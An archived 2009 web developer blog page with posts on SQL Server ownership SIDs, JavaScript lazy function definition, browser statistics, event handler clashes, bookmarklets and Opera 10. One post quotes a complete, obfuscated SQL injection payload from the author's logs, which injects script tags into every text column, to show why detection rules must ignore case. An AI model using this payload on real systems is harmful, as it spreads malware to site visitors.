Wednesday 30 September 2009

The database owner SID recorded in the master database differs from the database owner SID recorded in database

Problems with database ownership SID values

I recently came across a problem which I have had a couple of times now which seems to be related to database backups in SQL Server 2005.

I was carrying out a manual backup of a database on the production server which was taking a very long time. During this process I came across another problem which needed solving quickly and I couldn't wait until the backup had finished before trying to resolve the issue which was caused by a report called from one database trying to access data from another. It was raising the following error message:

The server principal "XXXXX" is not able to access the database "XXXX" under the current security context.
The solution to this problem is to enable the database that needs to be accessed as Trustworthy with an SQL statement like this:

So I ran this statement to fix the reporting issue and I had some hesitations about doing this as I didn't know whether the combination of the backup and the lock on the Database would cause any issues and low and behold just after running this statement I started receiving the following errors:

The database owner SID recorded in the master database differs from the database owner SID recorded in database 'XXXX'. You should correct this situation by resetting the owner of database 'XXXX' using the ALTER AUTHORIZATION statement.
Now this is an error I have come across before when a database has been created on one server by restoring a backup taken from another server and the database owners differ. To prove that the problem is in fact differing SID's I ran the following two SQL statements.

--To get owner SID recorded in the master database for the current database
SELECT owner_sid FROM sys.databases WHERE database_id=DB_ID()

--To get the owner SID recorded for the current database owner
SELECT sid FROM sys.database_principals WHERE name=N'dbo'

They should return you SID values in the format of a GUID e.g


Now if the two SID's differ which they did in my case it means that you need to reset the database owner so that both values are the same. To do this you can run another ALTER statement and pass in the owner value you want to use e.g
ALTER AUTHORIZATION ON Database::XXXX TO [domain\user]

Once I had run this code the problem was fixed. Now I am pretty sure the issue was down to a combination of the backup running at the same time as the code to change the TRUSTWORTHY statement as I had no errors before that SQL was run and as soon as I had executed it the errors started shooting into my inbox.

However I tried to replicate this problem on a development server by running some backups and executing the same SQL but I couldn't re-create the problem. Maybe there was something else in the mix I was unaware of but I thought I would post the solution to the problem anyway in case others have a similar situation arise.

Saturday 26 September 2009

Using Lazy Function Definition

Redefining functions in a good way

Javascript is a language that lets you overwrite existing objects and functions very easily. This can be a curse when it happens without you realising which is why namespaces are always a good idea when you are developing a site that makes use of numerous scripts, frameworks and add-ons. I even blogged the other day about some trouble I had when a helper function was overwritten by another library which caused some issues:

However one of the ways that overwriting functions can be good for your coding is when the function contains a computation or test that only needs to be run the first time the function is called. You can run this test and then overwrite the function to return the value depending on the computation.

A Debugger example

A lot of times when I am quickly testing some code without including extra scripts I want to be able to output debug messages to help with the testing. I usually want to output to the console if available but some browsers don't allow the console to be locked to the window or with IE and sometimes FireFox / Firebug I may not want to use their console due to issues with speed and locking. In these cases I just create a DIV at the bottom of the screen to output messages to with some HTML like this:
<div style="width:98%;overflow:auto;background:white;height:200px;color:black;text-align:left;border:1px solid black;" id="output"></div>

I then use a function called ShowDebug to output the messages. Now I have seen similar code on the web and have written some myself that would use the following logic within the ShowDebug function to decide whether to output to the console or the DIV.
var logToDiv = false;
var c = 1;
ShowDebug = function(m){
if (typeof(window.console)=="undefined" || logToDiv){
var msg = c + ": " + m + "<br />";

However as you can see this would be quite expensive as for every call to ShowDebug the same conditional test is being carried out. If you are making thousands of calls to this function then this is quite an overhead and one that can be removed.

The better way - Lazy Function Definition

The better way is to run the conditional test for the console or DIV on the first call to ShowDebug and then overwrite the ShowDebug function to use the appropriate method from then on. All subsequent calls will either just output to the console or to the DIV.
ShowDebug = function(m){
var logToDiv = false;
if (typeof(window.console)=="undefined" || logToDiv){
var c = 1;
ShowDebug = function(m){
var msg = c + ": " + m + "<br />";
ShowDebug = function(m){

This is called Lazy Function Definition and although this is a very basic example it shows you the possibilities of its use to avoid expensive mathematical computations or checks for non-existing properties or values on each function call.

Here are some articles that go into this concept in more depth:

Friday 25 September 2009

Javascript Usage Browser Breakdown

A breakdown of browser usage for users who browse with javascript disabled

I was just looking at some traffic statistics from one of my largest sites and I thought I would run a report to see the breakdown of browsers for those users who visit my sites with Javascript disabled. From looking at 30,000 visitors (all identified as human and not crawlers) the breakdown of enabled versus disabled is:

DISABLED - 10.02%
ENABLED - 87.48%
NA - 2.50%

I was expecting the top browser to be FireFox purely because of the NoScript and Developer toolbar add-ons however of the 10% of users without Javascript enabled the browser breakdown is the following:

IE 6.0 - 4.99%
IE 7.0 - 3.23%
Firefox 2.0 - 0.73%
Firefox 3.0 - 0.29%
Firefox 1.5 - 0.20%
AOL 7.0 - 0.10%
IE 5.5 - 0.10%
IE 8.0 - 0.10%
Safari 1.3 - 0.05%
Safari 3.1 - 0.05%
Safari 3.2 - 0.05%
Safari 4.0 - 0.05%
IE 5.01 - 0.05%

And for a full breakdown of the browser usage of 30,000 users today (25th September 2009)

IE 7.0 - 29.75%
IE 6.0 - 21.97%
IE 8.0 - 21.09%
Firefox 3.5 - 8.76%
Firefox 3.0 - 7.78%
Chrome 3.0 - 3.13%
Safari 4.0 - 2.40%
Firefox 2.0 - 1.37%
Safari 3.2 - 0.73%
Safari 3.0 - 0.49%
Safari 3.1 - 0.44%
Firefox 1.5 - 0.39%
iPhone 3.1 - 0.24%
AOL 7.0 - 0.24%
Nokia - 0.20%
IE 5.5 - 0.15%
AOL 6.0 - 0.10%
Firefox 3.1 - 0.10%
Opera 9.6 - 0.10%
Chrome 2.0 - 0.05%
Safari 1.3 - 0.05%
IE 5.01 - 0.05%
Mozilla 1.8 - 0.05%
iTouch - 0.05%
Opera Mini 4.2 - 0.05%
PlayStation 3 - 0.05%

I will let the statistics speak for themselves however I am pretty disappointed to see the majority of the visitors to my sites are all still using Internet Explorer. On the latest version of my sites software I have put some code at the top of the menu for logged in users that outputs a list of preferred browsers for those users who are using old versions (i.e not the latest versions of IE, FireFox, Opera, Safari or Chrome) to tempt them to upgrade to a more "suitable" browser.

However I suspect those users who have used IE for the majority of their on-line life are very unlikely to change to another type of browser regardless of how rubbish IE is. I mean its only people who work in IT and actually have to develop websites who know the pain and suffering that developing for IE brings to your life. Users who only browse the net with it probably have no such gripes and are perfectly happy to carry on using it as well as any future versions Microsoft bring out.

SQL Injection Case unsensitive

SQL Injection Hack Strings

I have just had a look at some recent hack attempts on one of my large systems and I noticed that a lot of the SQL injection hack attempts are using a mixture of cases e.g

deClaRE @s vArchAR(4000);SeT @S=caSt(0x4465636C615245204074205641524348415228323535292C404320766172434841522832353529206465636C415245205461426C455F637552734F5220437572536F5220464F722073456C65637420612E6E614D452C422E4E614D652046526F4D207359734F426A6543547320612C737973434F6C556D4E73206220774865526520612E69643D422E696420616E4420412E78547950453D27552720414E442028622E78545950653D3939204F7220622E78547970453D3335204F5220422E58745950453D323331204F7220622E58547970453D31363729204F70654E205461624C455F637552736F72204645744368206E4578542046524F4D205461626C455F435552736F7220694E544F2040542C4063207748496C4528404046657463685F5374615475533D302920426567496E20457845432827557064617465205B272B40542B275D20736574205B272B40632B275D3D727472494D28436F6E7665525428766152436861522834303030292C5B272B40432B275D29292B434173542830583343373336333732363937303734323037333732363333443638373437343730334132463246373737373737324536323631364536453635373236343732363937363635364532453732373532463631363437333245364137333345334332463733363337323639373037343345206153205641526368415228353629292729204645746368206E6558742046524F6D205441626C655F635572734F7220696E744F2040742C404320654E4420436C6F7345207461626C455F435572736F72206445416C6C6F43417465205461426C655F635572736F5220 as varchaR(4000));exec(@s);-null

You should always ensure that any regular expressions employed to detect SQL injections are case insensitive so that they match strings like this. They have obviously started employing this technique to catch out those people who forgot to add the appropriate flags to any ISAPI rewrite files (I or NC depending on the rewrite engine you are using).

Same goes for any manual regular expression tests in the application. Always ensure that you match all text cases. You would hate to be caught out because of something as simple as this right?

If you have been caught out and need to resolve a database infected with numerous SCRIPT tags all pointing towards dodgy virus infected sites with a .ru domain then I recommend checking out my database clean up script:

Or if you need some hack plasters to place on your system until your can resolve the underlying issue that allowed the hack check out this article:

Sunday 20 September 2009

Trouble with this keyword and namespaces

Namespaces, duplicate functions and more IE nightmares

I was working on some code the other night which belonged to a site similar to my own in which numerous scripts and "semi frameworks" were being included. By semi framework I mean an add-on script that includes numerous functions that will almost certainly be replicated elsewhere in the site (DOM manipulation, event handlers etc).

The code involved using an iframe and then running an onload event as soon as the content had loaded so that I could resize the iframe to the correct dimensions for the content within. I had a bit of code like this:


// resize iframe content onload
function resizeIframe(){

var dc = S.getIframeDoc(this); // return iframe document
var h = dc.body.scrollHeight; // get height of document within iframe
this.height = h+30+"px"; // set height of iframe+30 to ensure no scrollbars

As you can see the function resizeIframe which is called when the iframe loads uses the this keyword to reference itself rather than getting a reference to itself using getElementById which is fine as long as you are using a proper browser that supports the DOM 2 event model. However as IE does not support this model it has a problem with the this keyword in that it references the global window object instead of the iframe.

However this is a well known problem and many a solution has been created to get round this issue in Internet Explorer. On the site in question I use the following function which as you can see handles DOM 2, IE's event model and the older DOM 0 event model. It also correctly handles the this keyword problem by storing a reference in the DOM to the function. Read up on PPKs event handler content for more details.

addEvent = function( obj, type, fn, cp )
cp = cp || false;
obj.addEventListener( type, fn, cp );
}else if ( obj.attachEvent ) {
obj[type+fn] = function(){,window.event);}
obj.attachEvent( 'on'+type, obj[type+fn] );
var ev='on'+type;
var oldevent = obj[ev];
if (typeof oldevent != 'function'){
obj[ev] = function(){ oldevent();fn();}

However when testing the site in Internet Explorer I was getting errors when trying to reference the contentWindow.document in my resizeIframe function saying its null or not an object.

The reason being that the this keyword was referencing the window object and there is no such object property on the global object.

I spent some time scratching my head and looking over the function at hand and then when I put some debug code into the addEvent function and noticed it not appearing it at all the problem suddenly made sense. After a quick search through the other JS files being included on the page in question I came across the following function in a script called sorttable.js used for sorting table contents.
function addEvent(elm, evType, fn, useCapture)
if (elm.addEventListener){
elm.addEventListener(evType, fn, useCapture);
return true;
}else if (elm.attachEvent){
var r = elm.attachEvent("on"+evType, fn);
return r;
} else {
var o = elm[evType];
elm[evType] = function(){o();fn();}
elm[evType] = function(){fn();};

As you can see its another addEvent function and one that doesn't handle the this keyword problem in IE.

As this script was being included after my own file it was overwriting the previous addEvent function and therefore was the cause of the error.

Now this self taught lesson reminded me of a recent post I wrote about the amount of duplicate frameworks and semi frameworks being included on websites at the moment. I reckon that on this page in question there was at least 5 different places where a function to add an event listener was being declared:
-My own addEvent function in my standard library strictly.js
-The addEvent function in the sorttable.js script
-JQueries own methods to bind events - different names but doing the same action.
-GooglesAJAX library would surely have its own event handlers.
-AddThis add-on also had a similar event handler.

Therefore 5 scripts all doing the same thing. I explain it more in my earlier post:

where I discuss the possibility of a standard global API for implementing these sort of functions that are nearly always replicated in add-on scripts. This would allow developers to choose the framework to handle this type of work and add-on developers wouldn't have to worry about implementing duplicate code.

Another solution would be if the add-ons would separate their code out into 2 files. The first file would contain the core functionality and then the other file would contain the functions that could/should be handled by the main framework used by the site.

This would allow the site developer to reduce the size of their codebase as they could choose to remove the 2nd file (if they wished) and allow their primary framework to handle the work that a lot of add-ons duplicate such as DOM manipulation and event handling.

Obviously this works only if the add-on is using the same naming convention as the many frameworks and if the frameworks don't even share the same naming convention then this would seem hard to achieve. However we could always use wrapper functions or aliases to point the add-on functions at the desired framework objects e.g for our addEvent function:
// addEvent used by this script
// params supplied
// obj = object, type = event, fn = function

// set alias so that add-on can use sites primary framework e.g jQuery/Prototype
A = addEvent = function(obj,type,fn){

Which allows the add-on to add event listeners with a call to A or addEvent with either call just being a pointer to the frameworks bind method. The add-on provider could either provide these alias wrappers themselves or just outline the interface required and allow the developer to implement the code.

And of course if the user of the add-on didn't use a framework then they could choose to utilise the 2nd files functions as is even if they were duplicated in 5 other places.

This is all just ideas at the moment but I am developing an add-on at the moment that is going to try this approach.

Why Namespaces are such a good idea

Another solution to the problem of duplicated functions is to always use namespaces to define your functions and objects so that there is little if no chance of two functions having the same name. The writer of the sorttable.js file didn't use a namespace to define his functions but if I had of defined my own addEvent function like so instead:
Strictly.addEvent = function(obj, type, fn){ ...

// call like so

I would not have had any problem working out why my function wasn't working as expected unless one of the other add-ons also had used the namespace Strictly!

Obviously using namepaces may solve the problem of functions being overwritten but it doesn't solve the issue of duplicated functionality.

Object Comparisons in Internet Explorer

Now whilst I was scratching my head in relation to the this problem I looked into creating a little test function that would tell me whether this equated to the global object or not as I was going a bit offtrack and of course a simple this === window should do the trick. However whilst looking into the different methods of object comparision I came across some of the differences between browsers of how object comparison is carried out. I don't know why I thought IE wouldn't be the odd one out as it always is but you might find the results interesting or you may not.

Make sure you view the test page in IE and a standards compliant browser like Firefox for comparison so that you see what I mean:

window === is true in Firefox and false in IE.

window == document is false in Firefox and true in IE.

var _w=window;
_w === is true in Firefox and false in IE.

When this relates the the global window object:

this === is true in Firefox and false in IE

this === self is true in Firefox and false in IE

This may all be old news as far as JS developers are concerned but it was news to me so I thought I would post the link anyway.

Friday 4 September 2009

Useful Bookmarks to overcome IE 8 / Firebug

Two useful bookmarks to aid web development

Over the last month I have been moaning a lot about IE 8 and Firebug and have started working without these two developer tools that have had started causing me problems such as:

-Very slow load times on certain sites or pages (IE 8 dev toolbar / Firebug)
-Hanging of the browser and maxing out CPU (50% on a dual core) (IE 8 / Firebug)
-Errors related to other scripts or add-ons (Firebug)

I have just found another issue to add to the list which is that when Firebug is enabled my Google Adverts are not loading on the following site: with the following errors being reported (copied from firebugs console)

cannot access optimized closure

gadgets is undefined

IG_EmbedCachedFlash is not a function

Which are coming from a file that is referenced by Googles Adsense

I do know that there have been bugs in Googles Adsense code latley as I regularly get errors from There were some errors the other day that prevented adverts from showing as well as any content loaded through Googles AJAX API in IE. If I view the same page in IE I do get a Invalid argument error (line 603, char 7) however the google adsense advert loads correctly.

However if I disable Firebug the adverts appear correctly in Firefox so I can only assume its a clash between Firebug and Googles code just like the error I reported the other month with the highlighter code I use on my blog.

The problems with both of these add-ons has meant that I have disabled both the IE developer toolbar and Firebug from appearing automatically on all pages. With Firebug I know that if I need it I can turn it on with ease and deal with the errors knowing that they are most likely caused by the tool itself rather than any other script. However with IE's developer toolbar its not so easy due to it causing my PC to hang the majority of the time its used.

I have found that going to Control Panel > Internet Options > Advanced > Reset does resolve the issue for a while until the problems slowly build up again over time and the browser with the developer toolbar becomes unusable.

Until IE resolve this issue I have resorted to using the following two bookmarklets to accomplish the two main tasks I use the developer toolbar and Firebug for.

The first is a bookmarklet that allows me to view the generated source code for a particular page:

Which if you unpack it breaks down as the following code:
javascript: (function () {
function htmlEscape(s) {
s = s.replace(/&/g, '&amp;');
s = s.replace(/>/g, '&gt;');
s = s.replace(/</g, '&lt;');
return s;
x =;
x.document.write('<pre>' + htmlEscape('<html>\n' + document.documentElement.innerHTML + '\n</html>'));

And the following code which will generate a DOM inspector allowing you to highlight elements on your page and view its properties and child elements.


You can get these and other bookmarklets from the following site which is tailored for adding missing functionality to Google Chrome:

Wednesday 2 September 2009

Browser Usage and other Traffic Statistics

Browser Coverage and Other Visitor Statistics

A year ago I wrote an article about Browser Usage, graceful degradation and support levels for different browsers. As I was investigating Operas new browser today Opera 10 I thought it would be good to run a few reports to check out the current state of browser usage on my sites. I have posted the reports here as you may or may not find the data interesting.

The data is from one of my database servers that handles 200+ domains and was collated from 560,000 page loads using server-side logging methods for the date 01-Sep-09.

I have only listed the top 10 or 20 items for each report therefore do not expect the percentages to add up to 100% as the missing numbers will be for items excluded from view.

Top Browsers

IE 7.0 33.29
IE 8.0 21.03
IE 6.0 18.32
Firefox 3.0 8.00
Firefox 3.5 7.61
Chrome 2.0 3.10
Default Browser 2.32 (unknown, or new version not in browscap.ini)
Safari 4.0 1.42
Safari 3.2 0.77
Opera 9.6 0.77
Safari 3.0 0.65
Firefox 2.0 0.65
AOL 7.0 0.65
Safari 3.1 0.39
Mozilla 1.9 0.26
Nokia 0.26
BlackBerry 0.26
iPhone 3.0 0.13
iPhone 3.1 0.13

Top Operating Systems

WinXP 60.03
WinVista 30.21
MacOSX 3.86
unknown 2.57
Win2000 1.03
Win2003 0.77
Linux 0.39
SymbianOS 0.26
iPhone OSX 0.26
Win7 0.26
Win98 0.26
WinNT 0.13

Javascript Enabled / Disabled

Enabled 84.13
Disabled 15.87

Flash Support & Version

10.22 31.74
10.32 29.03
NA 15.61 (could not log due to JS disabled or other reasons)
10.12 7.87
9.124 6.06
9.115 1.94
None 1.94
9.28 1.03
9.47 0.77
9.16 0.65

Top Crawlers and Robots

Google Webmaster Tools 21.96 (googlebot)
Yahoo! Slurp 3.0 18.22
Twiceler 17.76
msnbot 1.1 12.15
MSN 2.0 10.75
Yahoo! Slurp 5.14
Teoma 2.80
Yandex 2.80
Google Toolbar 2.34
Inktomi 1.40 (hackbot)
libwww-perl 1.40
PycURL 0.93
Rippers 0.47 (hackbot)
Wget 0.47
Microsoft URL Control 0.47
Check&Get 0.47
Gigabot 0.47

What does this tell us?

Obviously these stats are from my system and may not be exactly comparable to other systems or the web in general however half a million page loads from 200+ different sites is quite a wide sample and should be enough to see general trends. Some of the key points are:

  • Microsoft is still cornering the market with its browsers occupying the top 3 spots.
  • IE 6 still has a large market share and will most likely continue to occupy the 3rd spot due to the large number of intranet sites and client systems build for that browser along with Microsoft's decision to support it until 2014.
  • Chrome has done very well since coming on the scene early this year,
  • Opera continues to do very poorly,
  • 15% of visitors have Javascript disabled and this figure will probably continue to rise over time due to security fears of getting XSS hijacked or infected by a virus.
  • Its hard to accurately know the number of users who have Flash enabled that also choose to disable Javascript as the only way to accurately log Flash usage and version details is with Javascript. However as most people seem to deliver flash content with script they are missing out on up to 15% of their audience when they don't have to. Delivering flash content server side instead would mean more coverage, better degradation and remove any reliance of another technology having to be enabled.
  • Browsing from Mobile Phones and PDAs seems to be much more common and this means developers need to consider how their sites render on small screens as well as how they run on those mobiles that deliver web content through proxies (usually no flash and limited Ajax and scripting).

Tuesday 1 September 2009

Opera 10

Opera 10 installation

Even though Opera counts for a tiny percentage of the traffic on my main sites its still a level 1 supported browser along with IE, Firefox, Chrome and Safari and therefore when new versions come out some time is spent investigating the browser and checking how our sites look and hunting down any bugs caused by new features being added or old ones being removed from the script engine.

Today it was Opera 10's turn and I must say the whole experience of just installing the browser was very disheartening. It took a long time just for the download opera button to actually do anything and then you have to pick a mirror to download from which took ages in itself and it was a good half hour before the 3 of us all had installed the browser.

One of the new features is its Turbo option which apparently helps speed up delivery of sites on slow networks through compression techniques. There are 3 options on, off and automatic which detects the speed of the connection and enables or disables the feature. I found that I couldn't actually get the option to enable for the first few attempts as it kept coming back with "could not connect to server" errors, which server I do not know as the actual site I was viewing loaded okay.

Once enabled however I found that on sites where flash is used you will be met with some hilariously over sized play buttons depending on the size of the flash movie. We have a peel over advert on some sites and the play button that appeared was almost a third of the page! It seems with Turbo enabled Opera will only download the bare minimum required to get the page to load and then if you want flash to play you have to hit the over sized buttons. Javascript as well takes a very long time to load with this feature enabled which I suppose it because it is also one of the last things to be loaded so that the page loads quickly, or appears to.

I also didn't realise that the EOLAS patenting issue hadn't been resolved in Opera like it had in Internet Explorer as unless you output flash with Javascript or use a script to reinsert the flash objects you will have to click the object before it will play. I was under the impression this had been resolved but apparently only IE has sorted this so if you are serving flash server side you will need some JS code to re-insert the OBJECT / EMBED tags into the DOM.

Opera seems like a nice browser however there are much better ones in my opinion and they shot themselves in the foot for so long by charging for it and I doubt there market share will ever rise above Firefox, Safari, Chrome or IEs. However it just has enough of a share that warrants me having to spend time getting my sites to work in it so until it drops off the chart I will be having to do these checks quite regularly.